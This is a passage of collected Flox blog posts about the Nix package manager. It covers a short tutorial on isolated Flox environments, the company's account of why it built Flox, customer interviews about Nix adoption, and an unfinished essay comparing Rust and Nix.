[Nixpkgs](https://github.com/NixOS/nixpkgs) and contains over 215,000 packages. Nixpkgs is the largest package repository in the world and holds an amazing assortment of stuff for powering desktops, servers, and clusters. It’s the closest to “everything” that a package repository has come thus far, and it’s maintained by an amazing global Nix community. Let’s install it! First, we'll need a directory to work in. I tend to put stuff in a directory called `playgrnd` when they’re for fun, inconsequential experiments like this. That makes them easier to cull later, but, more importantly, they are a good reminder that it’s important (even for serious adults like me) to play. Let's call our new subdirectory `cows`, for reasons which will soon become apparent. Once we have made it, let's and activate a new environment inside it with `flox init`: ``` % mkdir -p ~/playgrnd/cows && cd ~/playgrnd/cows % flox init ✨ Created environment cows (aarch64-darwin) Next: $ flox search <- Search for a package $ flox install <- Install a package into an environment $ flox activate <- Enter the environment % ``` The [`flox install`](https://flox.dev/docs/reference/command-reference/flox-install/) command installs my new toy into this new environment. ``` % flox install charasay ✅ 'charasay' installed to environment cows at /Users/rturk/playgrnd/cows % ``` This environment is not yet active. Flox has not installed anything into our system, just into this discrete environment. Because we haven't activated it, nothing has changed. Let’s do so now with [`flox activate`](https://flox.dev/docs/reference/command-reference/flox-activate/): ``` % flox activate ✅ You are now using the environment cows at /Users/rturk/playgrnd/cows. To stop using this environment, type 'exit' flox [cows] % ``` So what does it mean for an environment to be “active”? Most importantly: - Entries are added to your `PATH` that point to the environment’s package locations - New environment variables and aliases are set, if the environment contains them - Shell hooks are executed We haven’t provided any environment variables or aliases yet. We also haven’t created any shell hooks, although those are really useful - they allow you to run things when environments activate (like `echo "hello world"` or `venv/bin/activate`, for starters). In short, since we just created this environment, only the first of these things matters. You can see that our new environment is activated by looking at the first entry in our `PATH`: ``` flox [cows] % echo $PATH | cut -f1 -d: /Users/rturk/playgrnd/cows/.flox/run/aarch64-darwin.cows/bin flox [cows] % ``` Once we run our new favorite tool, `charasay`, we can see that it is, indeed, a lot of fun. It’s like cowsay, but more colorful and with more characters to choose from. This was neat. I’m thoroughly glad I checked this tool out, and I can think of a few ways to use it to spice up an otherwise boring terminal session. Perhaps I can have a chicken congratulate me on my commits. Fun! But, even more importantly, I’ve had all of my fun in an isolated playground. I can deactivate this new Flox environment by exiting the subshell created by `flox activate`: ``` flox [cows] % exit % chara zsh: command not found: chara % ``` And just like that, it’s all gone. No charasay, no Rust, none of it. Everything is exactly as it was before, and I don’t have to spend the morning restoring order to a working environment that I’ve inadvertently toasted while playing with new toys. If I ever want my playground back, it’s still there and can be instantly activated. You can install Flox on Linux, Mac, and Windows using [instructions on the download page](https://flox.dev/docs/install-flox/). Environments work the same across them all. Try it! Title: Why we built Flox Source: https://flox.dev/blog/why-we-built-flox/ Date: 2024-03-13 Category: news # Why we built Flox Flox CLI 1.0 and FloxHub is here! It's a good opportunity to reflect on our own experiences and the reasons we feel Flox is a part of the next generation of software development practices. ## Nuking projects (from orbit, apparently) So there I was, **working on a software product team that was doing all the right things**–shipping multiple times a day, iterating quickly, rolling out with feature flags, deploying in cloud native ways where what is being tested is what’s being deployed (and the same being true in reverse). However, despite a stellar team that seemed to have all the best engineering principles, **we still occasionally had to, in the words of the team, “nuke it from orbit.”** So much so that our cute little Hubot in Slack had a response to the word “nuke” with “burn it with fire!” and some fun memes (you know, the classic ones that totally reveal my age).

I’ll step back a bit for those who might not know what I'm on about. To “nuke it from orbit” you would `rm -rf` an entire project and re- `git clone` it from source. There were softer ways of cleaning up the environment but sometimes they just didn’t work. So out rolls the nukes. So **why is it that a high performing team periodically has to nuke things?** The answer? **“That’s just the way it is.”** That feeling of “the way it is” permeates a special class of problems–often referred to as the age-old “works on my machine” (but not yours) response to a question from a coworker. I think part of the reason is _it is how software has been done for a long time_ and it’s a special class of problem that vanishes (and you purge it from memory) as soon as you resolve it. Often when you ask an engineer how much time they spend on this they’ll say “oh almost nothing” but if you ask “tell me about how the last person that joined the team got onboarded” you’ll hear a very different answer. We so deeply accept this as how it works that we sometimes don’t see how much time we lose to ‘the nuke’–either in the time you spend waiting to reconstruct the universe or the time spent helping someone else figuring out what has gone horribly wrong with their universe. ## Reproducibility with containers! And Nix! Then containers came along…and a part of me was like FINALLY. We have a solution, right? Our lives are better, right? Well, sort of. Containers are a very powerful abstraction providing us a very simple way to run and deploy our code repeatedly. But for local development? You can drill the holes in the container and get your source code mounted but **you’ll always feel like you’re doing some development on not-my-machine** and, in my observation, this tends to put off most people from doing local development from within a reproducible container. Many instead defer to containers to get you a database or a redis cluster but leave the cool language of choice things to that language of choice’s toolset. Are containers the only option? Well, no. This class of problems is one of the reasons why open source Nix, Nixpkgs, and NixOS exist. If you don’t know what Nix is, it’s a 20+ year-old open source technology that **provides declarative principles that allow guarantees of reproducibility** (it’s more than that, I’m over simplifying). If you speak to anyone who has ever crossed the Rubicon from today’s ways to Nix’s ways then you’ll know what I'm about to say: you can ‘just do it better’ and never have any of those problems ever again. Amazing, right? Well, unfortunately for Nix it takes a lot more than a blog post to convince people to rock the boat. There’s a real cost to trying to adopt a new way to work, and your coworkers may not easily follow you to a new mantra. So Nix _is_ an answer but it doesn’t feel like it’s familiar or forgiving enough to be the answer on its own. What is Nix missing? Not a lot from a functionality standpoint. However, **I think Nix presents three key challenges** that helped push us towards creating Flox: - The user experience is unfamiliar and the learning curve is high. - The technology is so un-opinionated and flexible that it’s hard to implement something using it without feeling like you are inventing the universe. - Nix is decentralized by design in a way that makes it a hard sell for the enterprise. ## Introducing Flox This is a long way of saying **we built Flox to take the best declarative parts of Nix, wrap them in a user experience you are familiar with, and offer centralization in the right places** so individuals (and enterprises) can manage their applications comfortably. Flox is a virtual environment and package manager all in one. **With Flox you create environments** that layer and provide dependencies just where it matters, making them portable across the full software lifecycle. Flox gives you a developer environment that you can take with you–across different system types and architectures and, broadly, the software development lifecycle. **Flox helps you avoid having to nuke your projects** but that’s not the only reason I love it. **Flox environments are declarative and comprehensive:** Flox contains software you’d normally install with an OS package manager plus all the software you would install with a tool-specific solution such as `nvm` for node projects. This can all be declared in a simple manifest (toml), checked into your source code, and environments ship with an activation script plus environment variables that make it simple to reproduce the environment no matter where it’s running. This comprehensive approach reduces a README.md guide down to a single `flox activate` that works no matter what Linux or macOS flavor you’re on (or what CPU type you’re using). **Flox CLI semantics are so familiar you likely already know them:** what’s your favorite package manager? We think Flox works just like it does (or very close). Flox adds only a single abstraction–the environment–on top of your computer so you can have multiple declarative environments on the same machine. That means fast searching, installation, and declaration of packages and simple environment creation, use, and removal. **Flox is fast:** Trying to get onto development really quickly to check something for a colleague? With Flox you can switch environments (inclusive of packages, environment variables, and that activation script) and confidently get new context, software, and variables in under a second. We have a long way to go to fulfill our full vision and the Flox CLI 1.0 and FloxHub service is just step 1 of the journey. But I think technologies like Flox will help guide us towards a world where it does work on my machine and we can be a lot kinder to our development environments because they **work like they should and don’t waste our time.** Flox is free to use. We hope you give us a spin at [flox.dev](https://flox.dev) and tell us what you think! Title: Nix in the Wild: Enterprise Nix at Project IDX Source: https://flox.dev/nixinthewild/nix-in-the-wild-project-idx/ Date: 2023-11-02 Category: interview # Nix in the Wild: Enterprise Nix at Project IDX We caught up with Vova Kryachko from Project IDX and asked him to tell us how his team use Nix to deliver a flexible IDE experience in the cloud. Some of his answers may surprise you. Almost every discipline of engineering - from frontend to backend, cloud operations and data engineering - is experiencing the growing pains of complexity, over-engineering, and multiple platforms, languages and supporting frameworks. Interoperability is becoming a nightmare to manage, and the modern web developer is no stranger to these pains. That’s why Google started [Project IDX](https://idx.dev/), an ambitious solution to one of full stack developers’ greatest pains. It is a web-based coding workspace built using one of our favorite things: [Nix](https://nixos.org/)! [Vova Kryachko](https://github.com/vkryachko/) has been working at Google for nearly seven years on many projects. In this edition of Nix in the Wild, we got a chance to ask him a few questions about how he and his team use Nix. **Q: Thanks for speaking with us today! Let’s start at the beginning. What made you and your team realize you needed something like Nix?** A: At first, the IDX experience was specifically designed for the web or flutter developer, and there wasn’t very much a user could do to customize it. We quickly realized that the primary challenge in today’s polyglot and multi-tooling world is that developers like to bring their own stacks everywhere. It became clear that limiting developers to the tools we think they need will prevent many developers from adopting the product. However, enabling developers to bring their own set of tools into the IDE - while maintaining a great UX and dev experience - brought its own unique challenges. **Q: I suppose you immediately thought of containers?** A: Yes! As we started looking into potential ways to do this, we quickly landed on dev containers with Docker as a leading option. The initial working assumption was that containers would be a good fit: developers are familiar with it, dockerfiles are generally self-contained, and they’re already compatible with all the tools people require. But the more we looked into it, the more complications we uncovered. We are a dev tool, so we need to optimize for speed. That means prebuilding as much of the dev environment as we can, so that a dev can open it up and get to work quickly. Because of the way Docker’s cache is built upon layers, this becomes a many-to-many scaling issue. We realized we would need to build each layer of each container image ahead of time. We also want to make sure environments are available to support code in customer repositories, which means also building container images for every commit in all of those repos in advance. As we began to model the work, it became obvious that this would require a lot of time and enormous compute and storage resources. We concluded that it wasn’t scalable or feasible using Docker, and we’d need to start exploring other alternatives. **Q: Was there a Nix champion on the team at that point?** A: No, we largely stumbled upon Nix! We were looking for a tool that could potentially solve all these issues, but no one on the team really had any experience with it. It felt a bit otherworldly at first - different than anything we had experienced before. At first it wasn’t quite clear whether this is a package manager or a build system - like, what do I even do with this JSON looking thing?! But as we spent more time with Nix and learned more about it, the benefits began to become apparent. **Q: What was the first of those benefits you encountered, the one that made you dig deeper?** A: The immediately apparent advantage of using Nix was its ability to build from Nixpkgs, which provides most developers with the components they need for their environments. But we quickly started enjoying it for its speed. Packages compose much better than image layers and initializing an environment is orders of magnitude faster. A lot of this is due to the nature of Nix - even without using any caching on the VM-side, having everything downloaded just in time from cache.nixos.org, it still runs blazing fast. That feels nice to use in action. **Q: Speed always makes for a great user experience. Did it come at a cost?** A: Not really! It also scales much better. With containers, the number of things that needed to be prebuilt could be astronomical - even for just one IDE environment! With Nix, the amount of caching is linear to the number of packages in use, instead of the number of repos and commits. Having a centralized source of packages results in a much smaller set of things that need to be continuously built. Nix enables us to know exactly which services are linked, making the runtime deterministic, while at the same time offering personalized environments to each individual developer. **Q: Personalized Nix environments in-browser? Is this something people can use today?** A: Yes. We’re gradually migrating all of the services that power IDX to Nix. For now, developers can enable it with a feature flag. Once they do, they are given the ability to specify which packages they want inside their environment from two primary Nixpkgs channels: the latest stable release and a more leading-edge unstable release. We have docs that cover the Nix language to help users learn how to create their environments. **Q: What has the user reaction been so far?** A: There were some initial concerns about the learning curve of Nix. But feedback has been overwhelmingly positive with very few issues reported. It’s possible to enable and disable features in the IDE using the Nix language as well, and users have been taking advantage of this pretty seamlessly. It’s been great for us to be able to use a well-established tool like Nix for this, without having to reinvent the wheel or write their own set of tools. **Q: What does the future hold for your team and Nix? Any plans on the horizon?** A: We are looking at possibly creating our own DSL, perhaps something a bit simpler to use than the Nix language while still employing the locking made possible in Nix and supporting its various inputs. If we make it even easier, perhaps it will be useful to more people. Also, we’re looking into pre-populating local Nix stores with packages from various channels to facilitate instant installations. That would be pretty cool. Title: Nix in the Wild: Enterprise Nix at The Flying Circus Source: https://flox.dev/nixinthewild/nix-in-the-wild-the-flying-circus/ Date: 2023-10-10 Category: interview # Nix in the Wild: Enterprise Nix at The Flying Circus Nix gives Flying Circus a way to unify software and systems management under a single, reproducible framework. It also powers a faster, more reliable platform that's better adapted to customer deployments. As founder and CEO of the Flying Circus, [Christian Theune](https://www.linkedin.com/in/christian-theune-b68974152) knows what it takes to keep things running. He and his co-founder Christian Zagrodnick serve clients of all kinds, making sure that their applications continue operating while they sleep soundly through the night. Although they have become adept at handling operational situations, and gathered years of experience doing so, they still consider themselves to be developers first and operators second. With more than 23 years of collective experience in the realms of Linux and Python, they are seasoned and well-rounded practitioners. Flying Circus’s customers "don’t have projects with us, they have **products** that they need to maintain for a long time," says Theune. He has observed that customers in Europe are more interested in bootstrapping ecosystems that stand the test of time than elsewhere, and their deployments tend to be long-running. These customers are often reluctant technology operators, even though management of key applications is becoming core to their business. They require a special kind of service, and their needs have heavily influenced the technical approach at Flying Circus. When it came time to redesign their system from the ground up, they based their decision on the experience they had built. They chose Nix. ## The Need Over the years, the platform at Flying Circus was based on a combination of Puppet and Gentoo. These technologies, used together, allowed them to build systems exactly to their customers’ specifications and keep them operating for years at a time. They managed a fleet of servers with the ability to parameterize services for customers individually and make extensive customizations. This system was in place for over 7 years, supporting critical applications. This architecture replaced the original late 1990ies "server under a desk" and allowed them to quickly grow into a "proper datacenter" where these applications and their 1.5PiB of data can live as long as they are needed. However, they ultimately found that choosing separate technologies for managing systems and managing software was too difficult to sustain as an integrated platform. "We had separate systems for automating configuration and package distribution that were not tightly-knit enough," says Theune. "Normally, 1 + 1 = 2, but our design tenet is that 1 + 1 = 3: if you have two separate systems instead of one, then both systems require work and managing their integration becomes a third piece of work you have to spend time on." Once they reached several hundred machines, this combination became a maintenance nightmare. Sometimes a Puppet run would take over an hour to complete, and platform OS updates became large-scale projects. Worse, they had decreasing confidence that the changes they pushed would actually **do** the things they wanted them to do, especially on machines that had existed for a long time. They were ready for a fresh approach. ## The Solution In 2015, the Flying Circus started replacing their Gentoo and Puppet solution with NixOS and provided a full rewrite of their platform within less than 6 months to all new customers. "The promise of NixOS was big enough to convince us to go down a greenfield route," says Theune, even though he personally doesn’t like that approach. The transition took place over a long period of time - almost 7 years - because they never wanted to force a customer through an upgrade. But, in the end, adopting a single solution for both the management of software packages and the configuration of systems saves them and their customers time and money. The Flying Circus develops their platform synchronously with NixOS, closely following new releases. They use [Hydra](https://github.com/NixOS/hydra) to automate builds, and are ready to offer staging environments for customers the moment a NixOS release comes out. That allows them to achieve general availability within a few weeks, an order of magnitude faster than the industry standard. Hydra builds can be triggered by pull requests, and results are cached to speed up future builds. Because Hydra is capable of deciding which of the functional tests to run and which to skip, it streamlines the testing process. "We always get a level of confidence. Once we evaluate a new release, if it comes out right, we can switch over," says Theune. Management has become more straightforward as well. NixOS is able to handle both concerns - package management and system configuration - which previously were managed separately and integrated. They can now serve their customers’ needs using a single set of tools, address customizations in a clear and consistent way, and tie everything together with a cohesive language. As Theune eloquently puts it, "there is now a whole list of things we don’t have to do anymore; they aren’t needed anymore due to the architecture of NixOS." ## The Challenges As much as Theune is a fan of NixOS today, he initially believed that "many of those in the community were overselling it." While he found the community’s enthusiasm invigorating and motivating, it could sometimes be overwhelming. Upon reflection, he realized that he was being sold on the wrong set of virtues: purity above all, repeatability, and rollbacks. What he really values most in Nix, however, is: - building **without** deploying, - atomic builds, - source-first approach with proper binary caching, - building new releases as soon as they are available, - switching customers to new versions quickly, and - enjoying a much faster build time. "The community has generally been very helpful when we run into problems, but it does work differently than others," says Theune. Some of their ideas didn’t resonate within the Nix community, but that hasn’t prevented them from implementing the platform their customers need. Because of the nature of NixOS, the team at Flying Circus finds it easy to override defaults and conventions when necessary to make the system behave as they need it to. One reason they develop synchronously with NixOS is because there are only security updates for 4-8 weeks after a release. This forces them to maintain a faster-moving motion, and a closer engagement with the community. Theune says "once we synchronized our platform with the bi-yearly upstream release, we realized that we could also implement an 'upstream first' approach as the next release is always just around the corner." ## The Future The team at Flying Circus have amazing capabilities due to the flexibility of Nix and NixOS. But they have an even more ambitious vision for the years to come. Theune recognizes that Nix is currently going "into the deep", in his words, exploring the limits of its potential and defining best practices for tomorrow’s important challenges. Nix is a technology that operates on the edge of innovation, and he has observed it acquire some accidental complexity as it advances. "Unfortunately, it’s always possible to add another level of indirection," he reflects. He looks forward to a day when Nix begins to reduce complexity again. But, due to its nature, he believes this should be a gradual process: "redesigns are necessary for innovation but you have to make the transition almost unnoticeable," he observes. Title: Nix in the Wild: Looker (GCP) Source: https://flox.dev/nixinthewild/nix-in-the-wild-looker-gcp/ Date: 2023-08-18 Category: interview # Nix in the Wild: Looker (GCP) In this latest edition, we had a chance to speak with Farid Zakaria from Google. He has a lot to say about motivating people to adopt new tools, and shared his story with us. In the world of software engineering, champions often emerge that help evolve the way we build and manage our projects. One such champion, [Farid "FarNix" Zakaria](https://www.linkedin.com/in/fmzakari/), an engineering manager at Google, has been leading a remarkable transformation in [Looker](https://cloud.google.com/looker), a business intelligence platform. Farid has helped the Looker team transition from a heterogeneous set of build targets to a harmonious ecosystem with consistent builds, all based on the power of Nix. Before being acquired by Google, Looker was a somewhat typical tech startup. Farid describes their build systems as a "proliferation of scripts that mostly work”, similar to the ones you would find elsewhere. These scripts did, indeed, serve their needs. However, as the team began to introduce Google's software development standards, the urgency for consistent builds became more critical. They realized they needed a solution that would guarantee reliable and consistent builds from source, one they could implement in a non-invasive way. ## About Nix at Looker Google has a unique self-empowering model that enables engineers like Farid to bring about transformative changes. He and his team turned to Nix, an open-source package manager. However, they didn't want to force a "hardcore" Nix setup upon their developers. Instead, they adopted a methodical approach, slowly integrating Nix, tackling the biggest pain points, and embracing it at a steady cadence. With Nix, a build process [only has access to explicitly declared dependencies](https://nixos.org/guides/how-nix-works.html#complete-dependencies). That means they can be confident that they are aware of everything that a successful build contains. If a build succeeds, Nix ensures that the software bill of materials (SBOM) is accurate and comprehensive. Because the ability to recreate any build from original sources is important to them, they do not rely on the Nix [public binary cache](http://cache.nixos.org); they build everything they ship. This allows them to be confident in their builds, helps them keep track of their software supply chain, and adds a layer of resilience against potential cache outages or dependency issues. ## Addressing challenges Farid admits that Nix comes with a learning curve, but he and the team saw it as a worthwhile investment. He believes that, with a bit of effort, it’s not as hard as it may seem to win people over. He suggests taking a holistic approach to evangelizing Nix. Imagine trying to flatten a waterbed with a broomstick: pushing down in one area will just cause another to pop up. The same is true for the pain points of a new technology, explains Farid, which must be addressed by teaching big concepts instead of small workarounds. He believes that after considering the entire surface area of Nix and teaching its principals, he is able to help users quickly find comfort with them and see the potential across the entire software development lifecycle. In fact, because Nix provides the ability to consistently restart from scratch, the engineers he worked with were able to explore and experiment with less risk than with their previous systems. The way that Nix works makes it easy to try new things and revert back to a known-good state. Once engineers are comfortable with that basic interaction, Farid finds that their learning accelerates quickly. Sometimes users needed specific packages or versions that were not available in [Nixpkgs](https://github.com/NixOS/nixpkgs). Farid’s team was ready to offer "white glove" service to engineers, sitting down one-on-one with them, showcasing new tools, and collaboratively reviewing their existing build scripts. Because of this dedication, he is called “FarNix” by colleagues who know him as the person who can help with their Nix questions. ## Outcomes Building everything from original sources is a practice with intrinsic operational benefits. From time to time, an original source will disappear - perhaps a hosting system has gone offline, a file is temporarily unavailable, or an upstream project no longer exists. When this happens, it’s important to resolve the issue so that services that are running in production can always be traced back to their source. Thanks to Nix, they are notified of this during the build process, giving them a head start towards resolution. There have been clear efficiency benefits as well. Their build process has evolved from a giant README with tons of detail to a single command that addresses all of the necessary corner cases. This streamlined workflow has allowed them to reduce the onboarding time for new engineers significantly, even during a period of rapid expansion. ## Conclusion Farid is a strong champion for Nix, both inside and outside Google. He hosts many Nix meetups in his local community, and was a driving force behind Google’s sponsorship of NixCon and the NixOS organization. For Google, the journey doesn't end here. Farid dreams of a day when Nix becomes an integral part of Google's entire pipeline. While they have achieved remarkable consistency within Looker, he envisions a future where more teams at Google are leveraging Nix. Naturally, this vision is not limited to the build process. Farid also imagines a world where Nix is used to rethink basic primitives within the Linux landscape such as compilers, linkers, loaders and object file formats. He’s already published [a paper](https://arxiv.org/abs/2211.05118) on some of this research on the topic while he pursues a PhD at University of California Santa Cruz and often writes about his musings on his [blog](https://fzakaria.com/). You can also check out [his talk](https://www.youtube.com/watch?v=HZKFe4mCkr4) from NixCon 2022. But these are stories for future editions of Nix in the Wild. Stay tuned! Title: Nix in the Wild: Enterprise Nix at Sift Technologies Source: https://flox.dev/nixinthewild/nix-in-the-wild-sift-technologies/ Date: 2023-07-06 Category: interview # Nix in the Wild: Enterprise Nix at Sift Technologies Sift Technologies specializes in human curation, offering trusted recommendations and facilitating recommendations from people to people. One of the tools they leverage in their work is Nix. In a recent interview, we had the opportunity to speak with [Tom Dimiduk](https://www.linkedin.com/in/tom-dimiduk/), a PhD in physics who ventured into software development, and the spotlight was on his company, [Sift Technologies](https://sift.quest/about). Sift Technologies specializes in human curation, offering trusted recommendations and facilitating recommendations from people to people. One of the tools they leverage in their work is Nix, a powerful package manager and operating system configuration tool. Tom Dimiduk's journey into Nix began approximately 10 years ago when he first became aware of its existence. As he delved deeper into Nix, he realized that it was a great solution for managing complex software environments. “It clicked in my brain. This is how you should manage computers,” he said. Tom has used Nix in various ways on personal computers since then, increasing in frequency as Nix and NixOS matured. In his previous life as a scientist, he saw the applicability of Nix for research purposes, where the ability to recreate specific conditions is essential. Today, Nix finds extensive usage within Sift Technologies, particularly in conjunction with Haskell, their programming language of choice. Tom explains that Nix aligns with their preference for declarative management, enabling them to efficiently manage servers and development environments. The payoff of using Nix has been clearly evident, and the Sift developers appreciate the reassurance provided by the ability to roll back configurations when needed. Tom emphasizes the ability to trace chains of trust, praising Nix for providing a level of proof and guarantees that other package management systems lack. Despite the successes, there have been hurdles along the way. Tom admits that the team has yet to completely grasp the Nix language, relying on trial and error and not truly understanding its inner workings. While Nix has proven useful for running servers and setting up development environments, he highlights the need for a comprehensive introductory guide that explains Nix from the ground up. Additionally, the lack of authoritative reference documentation and the presence of experimental commands have made the learning process challenging. Tom believes that a well-curated beginner-to-intermediate guide with best practices would greatly benefit newcomers to Nix. When asked about his advice to those considering using Nix, Tom emphasizes the advantages of leveraging existing toolchains and dependencies already built. “There is an ability to have this recipe, and it has a great chance of just working on my computer. If someone has already written the recipes, use them.” In our case, we use Obsidian System’s [Obelisk](https://github.com/obsidiansystems/obelisk) which is already integrated with Nix to handle the difficult task of distributing GHCjs, the Haskell to JavaScript compiler. However, he cautions that careful consideration is required when adopting Nix, as it can both save and cause pain depending on the situation. Tom suggests using Nix in scenarios where reproducible environments are crucial and when there is no existing expertise in [Kubernetes (K8S)](https://kubernetes.io/) or [Docker](https://www.docker.com/). In terms of Nix and NixOS, Tom explains that he has chosen to use both, depending on the context. For his personal development environment, Nix and NixOS provide an easier way to manage dependencies. For server management, with the goal of aligning development with production environments, NixOS proves invaluable. With Nix, the process of ensuring dev matches prod becomes effortless, requiring no additional thought or effort. Looking towards the future, Tom aspires to continue using Nix instead of dealing with the complexity and overhead of Kubernetes. Acknowledging the challenges of Kubernetes YAML, he believes that Nix provides a more favorable alternative for managing scalability. Title: Nix in the Wild: Enterprise Nix at PDT Partners Source: https://flox.dev/nixinthewild/nix-in-the-wild-pdt-partners/ Date: 2023-06-27 Category: interview # Nix in the Wild: Enterprise Nix at PDT Partners Graham's team focuses on high-performance computing, real-time trading, and full-stack development. Controlling configurations and ensuring reproducibility are critical aspects of their work, making Nix an ideal fit for their needs In this post we had the pleasure to interview [Graham Bennett](https://www.linkedin.com/in/graham-j-bennett/), the head of Software Infrastructure at [PDT Partners](https://pdtpartners.com/), a prominent quantitative investment manager, who shed light on how Nix has revolutionized their workflow. His team focuses on high-performance computing, real-time trading, and full-stack development. Controlling configurations and ensuring reproducibility are critical aspects of their work, making Nix an ideal fit for their needs. Graham's journey with Nix began in 2015, but it wasn't until 2018 that they fully embraced it. “It looked like the correct way to do things from a theoretical perspective,” Graham mentioned. Initially, they felt they didn’t have the internal expertise to adopt Nix, and explored alternative packaging solutions. Hiring individuals experienced in Nix proved to be a turning point, allowing them to navigate and apply its principles to their use cases effectively. The adoption of Nix at PDT followed a gradual process. They started by using Nix to provision development tools, enabling them to access the latest versions easily. They then moved on to their Python scientific computing environment, where they maintained and released software with fine-grained control over compilers and libraries. Replicating their existing system in Nix proved to be a game-changer, significantly reducing the time it took to produce builds and eliminating version conflicts. As their confidence in Nix grew, PDT progressed to building and packaging their own software using Nix. Today, most of their production systems and containers are built using Nix, providing consistency and reliability across their entire stack. Additionally, Nix's seamless integration with their CI/CD pipeline streamlines the testing process and ensures a smooth development experience. While Nix has proven to be a valuable asset for PDT, they did encounter some hurdles along the way. “The biggest hurdle was getting a large group of developers to work with Nix”. The team's initial focus on capabilities rather than user experience resulted in a steeper learning curve. However, with the advantage of hindsight, they now recognize the importance of emphasizing user experience from the start. Despite these challenges, Graham enthusiastically encourages others to explore Nix. He acknowledges its initial complexity, but highlights the long-term benefits and the satisfaction that comes with doing things the right way. “It’s easy to look at Nix and dismiss it, to underestimate it, but then to burn so much time working around problems that Nix would solve. Doing things the right way is worth it in the end”. What once took months to achieve in terms of reproducibility and version control can now be accomplished in a matter of hours. Looking towards the future, PDT hopes to extend Nix further across their development environment, production build and release processes. They aspire to create standardized and user-friendly workflows, leveraging Nix's capabilities to provide reproducible development environments across different projects. They hope that Nix will become the premier choice for the scientific computing and ML communities. Graham’s insights and experiences at PDT are just one example of the success stories surrounding Nix. By raising awareness and celebrating these achievements, we can establish Nix as a clear choice for modern enterprises. We recognize it as a powerful tool that empowers teams to manage complex systems, achieve reproducibility, and elevate the user experience. Nix has indeed transformed the way we approach software development, making it more efficient, reliable, and enjoyable. As more organizations and individuals embrace its capabilities, Nix is poised to become a cornerstone of the technology ecosystem, enabling groundbreaking achievements and propelling innovation forward. Title: Nix in the Wild: Enterprise Nix at Prisma Source: https://flox.dev/nixinthewild/nix-in-the-wild-prisma/ Date: 2023-06-15 Category: interview # Nix in the Wild: Enterprise Nix at Prisma In the world of software development, efficiency and scalability are paramount. Read how companies like Prisma are leading the way by using Nix to manage system dependencies and streamline projects. In the world of software development, efficiency and scalability are paramount. Companies like [Prisma](https://www.prisma.io/) are leading the way, empowering app developers to build scalable applications faster with their open source database toolkit. But what if there were a way to make the development process even smoother and more efficient? Enter Nix, a powerful package manager and build system that is revolutionizing the software development ecosystem. In a recent interview with the co-founder of Prisma, [Johannes Schickling](https://www.linkedin.com/in/schickling/), we discovered the remarkable use cases and benefits of Nix across his development workflow. Schickling shared his experiences and insights, shedding light on how Nix has transformed his approach to software development. Schickling's journey with Nix began with a realization - by adopting Nix as a smart home system that maintains consistency between his working environments across multiple machines, he no longer needed to rely on tools like [Homebrew](https://brew.sh). Instead, he embraced everything Nix had to offer, from managing system dependencies to streamlining projects. Although the initial setup was challenging, the benefits were well worth the effort. Schickling emphasized that “there is so much opportunity to bring down the pain in getting started, to reduce friction and make it easier for others to adopt.” For him, Nix has been a game-changer, saving both time and cost in the development process. Johannes works on Darwin, but also deploys [NixOS](https://nixos.org/manual/nixos/stable/) on remote servers. Because bootstrapping and initial setup can be cumbersome, he explained that they strive to minimize the use of Nix on their Mac machines. Instead, he leverages [home-manager](https://github.com/nix-community/home-manager) and [flakes](https://nixos.wiki/wiki/Flakes) for global installations and even explores running Nix on older Intel Macs and Raspberry Pi devices to simplify his workflow. ## Overcoming the hurdles of scaling Nix Scaling Nix adoption within an organization can be a hurdle. Johannes highlighted the difficulty of convincing others to push through the hurdles of initial setup and adopt Nix. Even so, he emphasized the importance of influencing change and bringing Nix awareness to the world. Schickling expressed his excitement about growing activity in the Nix ecosystem; by addressing these issues and fostering collaboration, Nix has the potential to bring even more simplicity and efficiency to the software development world. Johannes Schickling's experiences serve as a testament to the power and potential of this innovative tool. As more individuals and organizations embrace Nix, the software development ecosystem stands to benefit from streamlined workflows, reproducibility, and enhanced collaboration. With Nix, simplicity becomes a reality, enabling developers to focus on what matters most – building remarkable applications that push the boundaries of technology. Title: Rust & Nix: Parallels in Complexity Management Source: https://flox.dev/blog/rust-nix-parallels-in-complexity-management/ Date: 2023-05-16 Category: guide # Rust & Nix: Parallels in Complexity Management If Rust seeks to solve the problem of memory management at the program level, Nix seeks to solve dependency management at the build level, for any language. The solutions go hand in hand. The Rust language was first publicly released in 2012, created by Mozilla to power their next-gen Firefox browser and provide safety guarantees they were not receiving with C++ without sacrificing speed. The language was designed to address some of the common issues faced by systems-level programmers, such as memory safety, concurrency, and performance. One of the main reasons Rust is gaining popularity is due to the safety made possible by a feature called the [borrow checker](https://doc.rust-lang.org/1.8.0/book/ownership.html), which helps prevent common programming bugs such as null pointer dereferences and buffer overflows. Microsoft has [highlighted](https://thenewstack.io/microsoft-rust-is-the-industrys-best-chance-at-safe-systems-programming/) that 70% of CVEs are memory safety issues that would be prevented by an approach like Rust’s borrow checker, hence their stated move away from languages such as C or C++ towards memory safe languages like Rust. The growing need for this safety is a byproduct of the increasing complexity of our systems, and the sheer number of things humans are expected to keep track of. This is not scalable. Nix aims to tackle an analogous problem: enforcing rules around building and sharing software that limit the likelihood of bugs due to mutable dependencies? If Rust seeks to solve this question at the program level, Nix seeks to solve it at the build level for any language. The wonderful guarantees a developer has around their Rust program are reflected in the guarantees a Nix build provides. Let’s explore how. ## Move Fast and Build Things As systems grow more complex, they also introduce more vulnerability and “attack surface”. Rust addresses this exact problem. Rust as a language imposes much greater discipline at the onset, making its learning curve and barrier to entry higher, in order to gain greater benefits in the long term, namely: speed, reliability, productivity. While this can feel like it's slowing you down at first, once you have gotten past the initial learning curve, you come to appreciate the power and peace of mind associated with this approach. By taking care of the complex things that humans aren’t wired to keep track of, the fear of introducing breakage or vulnerabilities decreases. [Nix](https://nixos.org/) is notoriously confusing to learn, and has a similar discipline you need to get accustomed to when building software, not just writing it. This is the essential tradeoff technologies like Rust and Nix present to the developer: do the hard work up front in order to save yourself (and others) hours of headaches in the future. Nix requires that the user deal with build specifications, preventing uncertainty about the output of the build. The creator of Nix made an explicit analogy between memory management and deployment practices in an early [presentation](https://edolstra.github.io/talks/immdsd-icse-2004.pdf) from 2004: The analogue for Rust’s safety guarantees is Nix’s determinism guarantees. A Nix build is deterministic, meaning you can repeatedly create the same compiled artifact from the same inputs. This build specification is expressed as a function of inputs (dependencies) to outputs (build artifacts). By creating a fixed build recipe for a package, you ensure that the output that anybody runs in the future will be close to identical to what you’d expect. Much as you have guarantees around what your Rust program will do, you have guarantees regarding how your Nix build will occur and what its output will be–up to the possibility of bit-for-bit reproducibility in some cases. It prevents developers from running into an entire category of bugs due to indeterminacy in the build process. In fact, one could say Nix imposes pointer discipline on the file system, such that the dependency graph of a program allows for garbage collection. This is crucial for managing the curation of the software on our systems, but also to be able to 